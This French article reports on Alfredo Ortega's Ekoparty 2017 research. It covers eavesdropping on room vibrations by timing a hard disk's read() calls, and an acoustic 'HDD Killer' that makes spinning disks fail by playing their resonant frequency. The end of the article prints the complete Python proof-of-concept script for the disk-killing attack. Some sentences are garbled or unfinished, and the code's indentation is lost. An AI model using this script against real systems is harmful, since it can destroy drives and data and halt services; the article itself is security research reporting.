
Lors de la conférence sur la sécurité informatique Ekoparty 2017 à Buenos Aires, le hacker argentin Alfredo Ortega a présenté un développement très intéressant : un système d'écoute électronique secrète des locaux sans utiliser de microphone. Son !
Le disque dur capte principalement les sons basse fréquence de haute intensité, les pas et autres vibrations. La parole humaine ne peut pas encore être reconnue, même si les scientifiques (reconnaissance vocale par vibrations basse fréquence, enregistrées, par exemple, à partir d'un gyroscope ou d'un disque dur).
Le son est la vibration de l'air ou d'un autre milieu. Une personne les perçoit à travers le tympan, qui transmet les vibrations à l'oreille interne. Le microphone est conçu à peu près comme une oreille - ici aussi, les vibrations sont enregistrées par une fine membrane qui excite une impulsion électrique. Bien entendu, le disque dur est également soumis à des vibrations microscopiques dues aux fluctuations de l’air ambiant. Cela est connu même grâce aux caractéristiques techniques des disques durs : les fabricants indiquent généralement le niveau de vibration maximum autorisé et le disque dur lui-même essaie souvent de le placer dans un conteneur résistant aux vibrations en caoutchouc ou en un autre matériau isolant. Il est facile de conclure de là que les sons peuvent être enregistrés à l'aide du disque dur. Il ne reste plus qu'à trouver comment.
Alfredo Ortega a proposé une version unique d'une attaque par canal secondaire, à savoir une attaque temporelle. Cette attaque repose sur l'hypothèse que différentes opérations sont effectuées sur l'appareil à des moments différents, en fonction des données d'entrée fournies. Dans ce cas, les « données d'entrée » sont les vibrations de la tête de lecture et du plateau du disque dur, qui sont en corrélation avec les vibrations de l'environnement, c'est-à-dire avec le son. Ainsi, en mesurant le temps de calcul et en effectuant une analyse statistique des données, les vibrations de la tête/plateau et donc les vibrations du support peuvent être mesurées. Plus le délai de lecture des données est long, plus les vibrations du disque dur sont fortes et, par conséquent, plus le son est fort.
Comment mesurer les vibrations d’un disque dur ? Très simple : il suffit d'exécuter l'appel système read () - et enregistrez le temps nécessaire pour terminer. Les systèmes d'exploitation modernes vous permettent de lire le timing des appels système avec une précision à la nanoseconde.
La vitesse de lecture des informations d'un secteur dépend de la position de la tête et du plateau, qui est en corrélation avec les vibrations du boîtier du disque dur. C'est tout.
L'analyse statistique est effectuée à l'aide d'un simple utilitaire Kscope. Comme on dit, tout ce qui est ingénieux est simple.

Utilitaire Kscope (appel système stat())
Kscope est un petit utilitaire permettant de visualiser de minuscules différences dans les temps d'exécution des appels système. Source.
Dans un référentiel séparé il existe une version de l'utilitaire configurée pour une attaque temporelle sur le disque dur, c'est-à-dire configurée pour analyser l'appel système read ().
Démonstration d'enregistrement sonore sur disque dur, fonctionnement de l'utilitaire Kscope

Bien sûr, la parole ne peut pas être comprise de cette manière, mais le disque dur convient tout à fait comme capteur de vibrations. Par exemple, vous pouvez enregistrer si une personne portant des chaussures rigides ou pieds nus est entrée dans une pièce avec un ordinateur (probablement, si l'attaquant porte des baskets souples ou s'il y a un tapis épais sur le sol, le disque dur ne pourra pas enregistrer les vibrations - cela vaut la peine d'être vérifié). L'ordinateur est capable d'enregistrer des bris de verre ou d'autres incidents avec une forte intensité sonore. Autrement dit, le disque dur peut servir d’une sorte de système de détection d’intrusion non autorisé.
Tueur de disque dur
Par ailleurs, une technique similaire peut être utilisée pour désactiver les disques durs. Cependant, au lieu de capter les vibrations du disque dur, on génère des vibrations qui lui sont transmises. Si vous diffusez un son depuis un haut-parleur à une fréquence qui entre en résonance avec celle du disque dur, le système arrêtera rapidement ce dernier en provoquant une erreur d'entrée/sortie (au niveau du noyau). Linux (Cela arrête complètement le disque dur après 120 secondes.) Le disque dur lui-même peut être endommagé de manière irréversible.

noyau Linux Le disque dur s'est éteint après 120 secondes de lecture d'un son à une fréquence de résonance via l'enceinte USB Edifier r19u. L'enceinte était allumée à environ un quart de sa puissance (moins de 100 mW) et placée à 20 cm du disque dur, orientée vers la table pour amplifier les vibrations. avec une démonstration du HDD Killer
Il est curieux que de telles « attaques » contre les disques durs se produisent parfois de manière complètement accidentelle dans la vie quotidienne. Par exemple, en septembre 2016, le centre de données de la banque ING a été contraint de suspendre ses opérations pendant 10 heures après un exercice d'incendie. en raison du bruit fort du gaz inerte libéré des bouteilles sous haute pression. Le son était très fort (plus de 130 dB), mais vous ne pouvez même pas crier sur les disques durs - cela augmente le délai d'accès au disque dur.
Démonstration d'humains criant sur des disques durs dans un centre de données. Mesure de latence

Pour générer le son de résonance, Alfredo Ortega a écrit un script Python appelé ().
Il est assez petit, vous pouvez donc le publier dans son intégralité ici.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Source: habr.com
